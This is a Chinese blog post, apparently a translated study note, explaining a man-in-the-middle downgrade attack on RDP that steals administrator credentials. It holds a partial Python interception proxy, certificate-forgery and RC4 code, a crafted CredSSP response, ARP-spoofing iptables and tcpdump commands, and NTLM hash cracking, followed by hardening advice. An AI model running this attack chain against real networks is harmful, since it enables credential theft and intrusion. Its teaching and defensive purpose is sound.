基于MitM的RDP降级攻击

基于MitM的RDP降级攻击#

0x00 简介

  最近看到一篇关于RDP攻击的文章,不是很新的内容,本着学习的目的进行简单的翻译,也当做学习笔记,鉴于水平有限,有很多不到位的地方,还请包涵。

  RDP协议被系统管理员每天用来管理远程Windows服务器。最常见的场景之一就是,用RDP在核心服务器上执行远程管理任务,比如用高权限的账户登录域控服务器,这个账户的凭据通过RDP进行传输。因此,使用安全的RDP配置更加显得至关重要。由于配置错误,经常遇到如下的证书警告:

1.jpg

  如果在你所处的环境中,经常出现这种警告,将无法识别出潜在的MitM攻击。

  本文的目的在于提升安全意识,严肃的看待证书警告的重要性以及如何进行安全配置。计划的读者群是系统管理员、渗透测试人员以及安全爱好者。虽然不必要,但推荐读者最好具备以下的背景知识:

  • 公钥及对称密码体制(RSA、RC4)
  • SSL
  • x509 证书
  • TCP
  • Python
  • 十六进制数及二进制代码

  本文将证明如何通过MitM攻击窃取用户凭证。文章内容没有涉及到最新的技术,甚至是早已被Cain实现过的技术。但是,Cain实在是太老了,而且关闭了源码并且只能在Windows下使用。本文将分析技术细节,以及RDP协议的内部工作原理,并尽可能真实的模拟一次攻击行为。

声明:不得利用本文涉及到的技术获取不属于你的服务器权限。本文仅用于教学,且需取得系统管理员的授权。否则,你的行为有可能涉及违法。本文涉及的源代码可在以下链接中找到。https://github.com/SySS-Research/Seth

0x01 RDP原理##

  首先利用Wirdshark,看看在通过RDP连接至服务器时到底发生了些什么:
2.png
  如图所示,客户端以一个建议开始,建议对RDP会话使用安全协议。我们将三个安全协议做如下区分:

  • 标准RDP安全协议
  • 强化的RDP安全协议或TLS协议
  • CredSSP(凭据安全服务提供者)

  以上截图仅显示了前两种安全协议。请注意,RDP默认执行标准安全协议,客户端没有专门提示。TLS仅仅是将标准RDP安全协议封装在TLS通道之中。顺便,在本文中将互换的使用SSL协议与TLS协议。

  CredSSP也是封装在TLS协议之中,不过在受保护的通道中所传输的不再是明文的密码,而是用于认证的NTLM或者Kerberos协议。这个协议通常情况下也被用于网络级别认证(NLA)。

  早期的用户认证有个特征,允许服务器在用户提交任何凭据之前拒绝客户端的访问。比如,在用户没有所需的访问权限的情况下。

  在Wireshark所截取的会话中,可以看到在客户端与服务器协商使用强化的RDP协议之后,双方进行了SSL握手。在这种情况下,我们在协商完成后的第一个数据包上点击右键,选择将TCP流解码至SSL。

3.png

  所以,如果我们想对RDP会话进行MitM攻击,仅仅使用SSL代理是不够的,这个代理需要能够识别RDP协议。我们选择Python来实现这样一个代理。为实现这个目标,首先建立一个服务端socket,用来接受来自受害客户端的链接。同时建立一个客户端socket,用来链接真正的服务器。代理程序在两个socket之间进行数据转发,在必要的情况下使用SSL协议对数据进行封装。在此过程中,我们会详细检查数据,并对感兴趣的数据进行修改。

  首先需要修改的数据就是客户端协议的安全级别,客户端原本想通知服务端使用CredSSP,但通过代理修改安全级别至标准RDP安全协议。在默认配置下,服务端将会正常回复。

0x02 创建基于Python的RDP MitM代理

主程序如下:

def run():
     open_sockets()
     handle_protocol_negotiation()
     if not RDP_PROTOCOL == 0:
          enableSSL()
     while True:
          if not forward_data():
               break

def forward_data():
     readable, _, _ = select.select([local_conn, remote_socket], [], [])
     for s_in in readable:
          if s_in == local_conn:
               From = "Client"
               to_socket = remote_socket
          elif s_in == remote_socket:
               From = "Server"
               to_socket = local_conn
          data = s_in.recv(4096)
          if len(data) == 4096:
               while len(data)%4096 == 0:
                    data += s_in.recv(4096)
          if data == b"": return close()
          dump_data(data, From=From)
          parse_rdp(data, From=From)
          data = tamper_data(data, From=From)
          to_socket.send(data)
     return True

def enableSSL():
     global local_conn
     global remote_socket
     print("Enable SSL")
     local_conn = ssl.wrap_socket(
          local_conn,
          server_side=True,
          keyfile=args.keyfile,
          certfile=args.certfile,
     )
    
     remote_socket = ssl.wrap_socket(remote_socket)

run():创建socket,处理协议协商,在必要的情况下启用SSL。完成之后在两个socket之间进行数据转发。
dump_data():在debug模式下,以十六进制形式将数据打印在屏幕上。
parse_rdp():从数据流中提取敏感信息,并利用tamper_data()进行修改。

0x03 密码学基础

  因为在破解标准RDP安全协议时需要用到密码学相关知识,在此概要的介绍下RSA的基本概念。读者可根据自身情况选择跳过此节。

  在RSA加密算法中,加密、解密、签名都是纯粹的数学操作,工作在简单整数的环境中。请明确,所有操作都限定于有限域之中。在生成RSA中的密钥对时,需要两个大素数p和q。模数\(n = p*q\)。利用欧拉函数计算 \(φ(n)=(p−1)*(q−1)\)。随机选择e,使得e与φ(n)互质。利用扩展欧几里得算法求e的逆元d,使得\(e·d ≡ 1 mod φ(n)\)

  此时d为私钥,e、n构成公钥。理论上讲d可以通过n、e计算得出,但是在不知道p和q的情况下,求解φ(n)是困难的。这也就是为什么RSA算法的安全性基于大数分解的难度。在目前情况下,没有人知道更加有效的大数分解算法,除非拥有光量子计算机。
  假设待加密明文为m,密文为c,e为公钥,d为私钥。

  则加密变换为:\(c≡m^e mod n\)

  解密变换为:\(m≡c^d mod n\)

  如果你确实不明白以上的加解密算法,没关系,这是数学问题,对于这篇文章来说确实有点难度。签名和解密一样,只需要在一段消息的hash值上进行运算。

  当m或者c远大于256bit时,运算的开销会非常大,所以通常情况下,仅会使用RSA对对称加密的密钥进行加密。明文通常情况下使用一次一密的对称加密算法(如AES等)进行加解密。

0x04 破解标准RDP安全机制

  事实上,对于标准的RDP安全机制根本谈不上破解,因为其设计伊始就存在缺陷。标准RDP协议安全机制工作流程如下:

  • 客户端声明将使用标准RDP安全协议;

  • 服务端同意使用该协议,并将自身的RSA公钥以及一个服务端随机数发送给客户端。公钥以及如主机名等一些其他信息的集合就称为“证书”。该证书使用终端服务的私钥进行签名(RSA签名机制),以确保证书的真实性;

  • 客户端使用公钥验证证书的真实性,若验证成功,则使用公钥对客户端随机数进行加密,并发送至服务端;

  • 服务端使用私钥进行解密,获取客户端随机数;

  • 客户端、服务端都从客户端随机数、服务端随机数中获取到了会话密钥。会话密钥用来加密会话的其余部分。

  请注意,以上所有流程都是明文传输没有使用SSL。理论上没有任何问题,Microsoft想要自己实现SSL实现的功能。但是,密码体制不是一件简单的事,通常情况下,要依赖现有的、经过时间检验的解决方案,而不是自己建立一套新的方案。此时,Microsoft犯了一个严重的错误,该错误如此明显,以至于我完全不理解为什么会这样做。

  你能看出问题在哪吗?客户端是如何获取到终端服务的公钥?答案就是:预装!这就意味着每个系统中的公钥都是一样的。更甚者,私钥也是一样的!所以,公私钥可以从任意Window系统中提取出来。事实上,我们甚至都不需要如此做,因为Microsoft已经决定将之正式的公布在网站上,只需要访问microsoft.com就可以查看到。

  在会话密钥已经被获取的情况下,对称加密有以下几种模式:None、40bit RC4、56bit RC4、128bit RC4、3DES(以上被称为FIPS)。默认情况下使用128bit RC4(“High”)。但是,如果我们可以窃取到密钥,如论加密强度如何,都没有意义。

  至此,目标已清晰:当收到服务端的公钥后,迅速生成我们自己的RSA密钥对,并替换真实的公钥。同时用私钥对证书进行签名。当客户端成功的获取到虚假的公钥之后,我们就能够获取到客户端的随机数。利用私钥进行解密,重写之后,用服务端的公钥重新加密,并发送。至此,我们就可以成功的嗅探客户端与服务端之间的通信了。

现在,唯一存在的问题就是RDP数据包的分析,下图为我们感兴趣的一个数据包:

4.png
5.png

  表示公钥的字段已经被高亮表示出来了。最前面的两个以小端模式表示的字节,代表了公钥的长度(0x011c)。如同之前讨论过的,公钥由模数和指数两部分组成。查阅RDP协议格式,找出我们感兴趣的字段,以下是模数字段:

6.png
15.png

签名字段如下:

7.png

服务端随机数如下:

8.png

  保留服务端随机数,修改模数和签名。为了生成我们自己的RSA密钥对,我们使用openssl,虽然Python拥有RSA库,但执行效率要比openssl慢。

$ openssl genrsa 512 | openssl rsa -noout -text
Generating RSA private key, 512 bit long modulus
.....++++++++++++
..++++++++++++
e is 65537 (0x010001)
Private-Key: (512 bit)
modulus:
     00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
     e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
     81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
     21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
     64:b4:98:1f:d7
publicExponent: 65537 (0x10001)
privateExponent:
     00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
     88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
     cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
     05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
     8a:f6:47:38:c1
prime1:
[...]

  现在,我们生成了所需要的模数n、公钥e、私钥d。事实上,我们需要2048bit的密钥,而不是示例中的512bit,但生成思路是一致的。
  伪造签名也很简单,计算证书的前六个字段,按照协议格式添加内容,并用私钥进行加密,以下是利用Python的函数实现:

def sign_certificate(cert):
 """Signs the certificate with the private key"""
 m = hashlib.md5()
 m.update(cert)
 m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01"
 m = int.from_bytes(m, "little")
 d = int.from_bytes(TERM_PRIV_KEY["d"], "little")
 n = int.from_bytes(TERM_PRIV_KEY["n"], "little")
 s = pow(m, d, n)
 return s.to_bytes(len(crypto["sign"]), "little")

接下来需要截取的数据包包含有加密的客户端随机数,数据包如下:

9.png

  再一次,将数据包中的关键字段高亮表示,开始的四个字节代表长度(0x0108)。由于该数据包是用生成的公钥加密,所以我们可以轻易的用私钥进行解密:

10.png

  现在,只需要用服务端的公钥重新加密,修改数据包并发送。现在成功获得了私密的客户端随机数,但不知道什么原因,Microsoft并没有将之作为对称加密的密钥。这里需要一个精心构造过的调用,来生成客户端的密钥、服务端的密钥以及签名密钥。虽然无趣但却并不困难。

  在获取到会话密钥之后,初始化RC4流中的s-boxes。由于RDP针对来自客户端的消息与服务端的消息使用了不用的密钥,所以我们需要两个s-boxes。s-boxes是一个256字节的数组,数组内的每个元素都被密钥扰乱,最终生成伪随机子密码,利用xor操作,对明文进行加密。Python实现算法如下:

class RC4(object):
 def __init__(self, key):
      x = 0
      self.sbox = list(range(256))
      for i in range(256):
           x = (x + self.sbox[i] + key[i % len(key)]) % 256
           self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i]
      self.i = self.j = 0
      self.encrypted_packets = 0

 def decrypt(self, data):
      out = [] 
      for char in data:
           self.i = (self.i + 1) % 256
           self.j = (self.j + self.sbox[self.i]) % 256
           self.sbox[self.i], self.sbox[self.j] = (
                self.sbox[self.j],
                self.sbox[self.i]
           )

           out.append(char ^ self.sbox[(
                self.sbox[self.i] +
                self.sbox[self.j]) % 256
                     ])
      self.encrypted_packets += 1
      if self.encrypted_packets >= 4096:
           self.update_key()
      return bytes(bytearray(out))

 def update_key(self):
      print("Updating session keys")
      # TODO finish this

  从代码中可以看出,RDP协议要求加密过4096个数据包之后就更新密钥。本文并没有着力去解决这个问题,主要是证明证书中存在的漏洞。

  现在我们具备了读取数据流的所有背景知识。我们对数据流中包含的击键信息很感兴趣。通过查阅MSDN,学习RDP协议中的键盘事件相关知识。在处理键盘、鼠标消息及一些其他细节时,处理的并不是很完善。但对于PoC来说,已经足够了。

  接下来,用客户端连接伪造的RDP服务端,弹出警告。

  11.png

  注意到什么了吗?这并不是一个SSL警告。至此,我们已经能够成功的监听到客户端的击键信息了。这也就是Cain的实现原理。

12.png

0x05 破解强化RDP安全机制

  仅仅降低RDP协议的安全等级远远不够,作为一名攻击者,将会努力使得攻击变得更加隐蔽。受害者会注意到警告与通常情况下的差异,并在建立链接之后依然会要求证书。
  同样的问题一直困扰着我,在使用Cain对RDP展开MitM攻击的时候,看不到SSL警告。我发现向客户解释为什么SSL警告如此重要很困难,特别当他们使用不能够确实的自签名证书时,这个MitM攻击导致了完全不同的警告。

  接下来让我们尝试降低强化RDP安全协议的安全等级。首先,我们需要自签名的SSL证书,可以用openssl生成:

$ openssl req -new -newkey rsa:"$KEYLENGTH" -days "$DAYS" -nodes -x509 \
-subj "$SUBJ" -keyout privatekey.key -out certificate.crt 2> /dev/null

  在恰当的时候将通信数据封装在SSL之中进行发送,这些工作已经完成。如同之前所说,标准RDP协议被封装在SSL协议中,但是服务端通常情况下将加密等级选为“None”。使用SSL确保数据的完整性和真实性可用被很好的仿冒。在SSL之上再使用RC4完全是浪费资源。提取密钥的过程如同之前所说的一样。

  唯一额外的安全特征是在SSL链接已经建立好之后,服务端需要确认原始的握手请求。服务端对客户端说“请你告诉我你所能够使用的安全协议”。从二进制的角度来看,如下所示:

16.png

  客户端会将这个数据同最初发送的请求数据相比较,如果不一致就结束链接。很显然,这已经太晚了。作为中间人,可以修改从客户端发出的数据包,将上图中0x4c处的数据进行替换,原始值为0x03。之后,我们就可以轻松的读取全部明文。

  如同预期的一样,受害者看到了一个合适的SSL警告。但事实上已经不一样了。在RDP链接建立之前,当使用我们自己的证书的时候还是有一些区别。不像NLA,认证发生在会话之中。再次,总有一些地方和标准工作流程存在差异,使得管理员有可能注意得到。

0x06 突破CredSSP

  首先声明,我们其实并没有真正的突破CredSSP,其实是在规避它。首先,让我们看看如果不降级攻击,真实的链接是什么样的。相关数据如下:

17.png

  高亮部分为客户端的挑战值及NTLM响应,服务端的挑战值在之前的消息之中。

  我们现在所看到的是NTLM认证。这是一种挑战-响应技术,客户端获取到服务端的挑战值(类似于之前提到过的服务端随机数),客户端挑战值和用户密码还有一些其他值,被加密为hash值。这个hash值被称为“NTLM响应”,并被传输至服务端。

  这个值是如何计算出来的,对我们来说并不重要。我们需要知道就是,NTLM不能被重放攻击,也不能进行哈希传递攻击,但是可以进行hash碰撞攻击。NTLM实现的hash算法称为HMAC-MD5,是一个相当简单的算法,但通常情况下会使用salt。可以使用Hashcat或者John The Ripper进行破解,使用John时的hash格式如下:

<Username>::<Domain>:<ServerChallenge>:<ClientChallenge>:<NTLMResponse>

  示例数据如下:

User1::RD14:a5f46f6489dc654f:110d658e927f077b0402040cc1a6b6ef:0101000000000
000d5fda87cec95d201a7559d44f431848a0000000002000800520044003100340001000800
44004300300031000400140072006400310034002e006c006f00630061006c0003001e00640
06300300031002e0072006400310034002e006c006f00630061006c00050014007200640031
0034002e006c006f00630061006c0007000800d5fda87cec95d201060004000200000008003
000300000000000000000000000002000004cfa6e96109bd90f6a4080daaa8e264e4ebfaffa
e9e368af787f53e389d96b180a0010000000000000000000000000000000000009002c00540
0450052004d005300520056002f003100390032002e003100360038002e00340030002e0031
0037003900000000000000000000000000

  将以上数据存为hashes.txt,使用如下命令启动john:

$ echo 'S00perS3cretPa$$word' | ./john --format=netntlmv2 --stdin hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
S00perS3cretPa$$word (User1)
1g 0:00:00:00 33.33g/s 33.33p/s 33.33c/s 33.33C/s S00perS3cretPa$$word
Use the "--show" option to display all of the cracked passwords reliably
Session completed

  结果如上,聊胜于无,但我们能做的更好。

  我们必须明确一个问题“服务端是如何确认NTLM响应的?”这就需要用到域控服务器。但如果域控服务器不可用呢?服务端会发出“使用强化的RDP代替NLA”,客户端会遵守这个消息。有趣的是,在客户端已经缓存密码之后,会选择直接发送密码,而不是将用户重定向到登录窗口。这正是我们想要的。除去SSL警告之外,没有任何其他的异常。

  所以,在客户端已发送NTLM响应之后,我们用以下数据替代服务端的响应。

00000000: 300d a003 0201 04a4 0602 04c0 0000 5e 0.............^

  相关内容没有找到官方文档,在实际中,当服务端无法联系到域控制器的时候所发送的数据包就是如此。客户端将会降级到强化的RDP协议,显示SSL警告,并通过SSL向服务端传输密码。

  注意,我们并没有看到SSL警告。根据标准,客户端会发送SSL证书的指纹到服务端,该指纹被CredSSP协议中的密钥所加密。如果和服务端证书的指纹不匹配,该会话将被终止。这也就是之前为什么受害者输入错误的密码时我们能监听得到,输入正确的密码时,我们只能看到TLS错误的原因。

  现在需要做的工作就是截取NTLM的响应值。通过改写Python脚本,返回特定的NTLM响应,使得NTLM认证始终失败。受害者不会注意到,如之前所说,我们将协议降级至TLS,之后证书将会被重新发送。

  在此,还有一件事需要说明。如果客户端属于域内主机,将不会使用NTLM。取而代之的是Kerberos,在建立链接之前,客户端会联系域控服务器,获取ticket。对我们来说,这是件好事。对于攻击者来说,Kerberos的ticket相对于有salt的NTLM更没用。如果攻击者进行中间人攻击,可以通过锁定所有与Kerberos服务进行通信的数据,猜猜之后会发生什么?如果客户端联系不到Kerberos服务,将会自动降级为NTLM。

0x07 测试

  至此,我们已经能够在实验环境中实现整个攻击流程。但在真实环境中,受害者在RDP客户端中并不会输入MitM代理的ip,而是他们自己服务器的IP。有很多种方法能够实现中间人攻击,在此我们选用ARP欺骗。对于PoC来说,实现起来足够简单,由于ARP欺骗是layer-2层的攻击,所以攻击者与受害者需要在一个共同的子网之中。

  在欺骗ARP、允许IPv4转发之后,受害者与网关之间的所有流量都会流经我们的主机。但是我们还是不知道受害者所输入的IP地址,所以无法启动Python脚本。

首先创建一条iptables规则,拒绝所有来自受害者的用于RDP服务的SYN包:

 $ iptables -A FORWARD -p tcp -s "$VICTIM_IP" --syn --dport 3389 -j REJECT

  我们不希望转发任何其他的流量,如果受害者已经建立好了RDP链接,将会终止该链接。如果我们不拒绝这些数据包,受害者将同真正的服务器建立链接,而不是我们的MitM代理。

  第二,监听来自受害者的流量,等待目的端口为3389的SYN包,目的是找出目标服务器的IP地址。利用tcpdump实现:

$ tcpdump -n -c 1 -i "IFACE" src host "$VICTIM_IP" and \
"tcp[tcpflags] & tcp-syn != 0" and \
dst port 3389 2> /dev/null | \
sed -e 's/.> ([0-9.]).3389:.*/\1/'

  参数“-c 1”表示首次匹配成功后即退出。这个SYN包将被丢弃,但没关系,很快受害者主机将会重发这个包。

  第三,获取服务端的SSL证书,创建同名的自签名证书,同时修改证书的过期时间。除非花费大量的时间和精力检查指纹信息,否则很难区分两者之间的差别。以下bash脚本可以完成上述功能。

  接下来移除之前的iptables规则,将受害者与真实服务器之间的流量全部转发到我们的MitM代理地址上:

$ iptables -t nat -A PREROUTING -p tcp -d "ORIGINAL_DEST" \
-s "VICTIM_IP" --dport 3389 -j DNAT --to-destination "ATTACKER_IP"

  为了实现从Kerberos到NTLM的强制降级,锁定了所有受害者与目标端口为88的流量。

$ iptables -A INPUT -p tcp -s "VICTIM_IP" --dport 88 \
-j REJECT --reject-with tcp-reset

  至此,我们已经准备好运行Python脚本的所有环境。

$ rdp-cred-sniffer.py -c "CERTPATH" -k "KEYPATH" "ORIGINAL_DEST"

13.png

  左图为受害者通过3389登录域控服务器,右图为成功截取到的明文密码。

0x08 建议

  作为系统管理员,此刻你可能想知道能做些什么来确保网络的安全。
  首先,最为关键的是,当服务器身份得不到确认的情况下,绝对不能建立RDP链接。比如,SSL证书没有被可信的CA签名。使用企业CA对所有服务器证书进行签名。客户端必须配置GPO,当证书不能被确认的情况下拒绝链接。配置路径如下:

Computerconfiguration→Policies→AdministrativeTemplates→WindowsComponents
→RemoteDesktopServices (or Terminal Services)→Remote Desktop Connection Client
→Configure server authentication for client

  对于是否需要在服务端配置CredSSP(NLA)相对比较复杂。这一点同样能在组策略中实现:

[路径如上]→Remote Desktop Session Host (or Terminal Server)→Security
→Require user authentication for remote connections by using Network Level Authentication

  14.png

  我们已经了解到客户端将用户证书进行了缓存,NLA不可能方便的进行重传,证书被缓存在内存之中。这些数据可以被拥有SYSTEM权限的攻击者获取到,同时使用Mimikatz。这是一款不可思议的脚本,在被感染的主机上可以成功的获取到已登录账号的明文密码,并且横向获取其他账号的密码,直到成功获取到域管理员的账号。这也就是为什么只能在域管服务器上使用私人的域管账号。

  但是通过RDP远程登录域控服务器,使得服务器上遗留下了一个高权限的账号,这是一个非常严重的问题。除此之外,如果启用了NLA,“用户在下次登录时必须改变密码”也被启用,仅在终端服务中的用户将会被锁定。至今为止我们所能确认的是,NLA更方便,由于使用更少的资源所以可以减轻Dos攻击,并且可以防止如同MS12-020这样的基于网络的针对RDP的攻击。这也是为什么内部还在讨论是否推荐禁用NLA。

  如果你拒绝使用NLA,可以在组策略中进行如下设置,“在远程连接中需要使用SSL”。

  增加RDP的安全性还有其他两种措施,第一种是使用除了证书之外的第二种因素。有很多第三方的产品可以使用,至少对域控制器这类关键系统进行加固。

  万一你需要使用Linux通过RDP连接Windows终端服务,需要提醒的是,比较流行的RDP客户端rdesktop是无法使用NLA并且无法验证SSL证书的。另一款可替代的产品xfreerdp至少可以验证证书。

  最后,请注意SSL警告不能被轻视,无论是在RDP还是在HTTPS的环境中。作为管理员,你有责任确认客户端已经将你的CA设置为可信证书。通过这种方式,可以确保SSL警告属于异常行为,而不是普遍现象,在出现异常时可以及时寻求IT部门的协助。

posted on 2017-03-28 11:05  起个名咋就这么难  阅读(1599)  评论(1编辑  收藏  举报

导航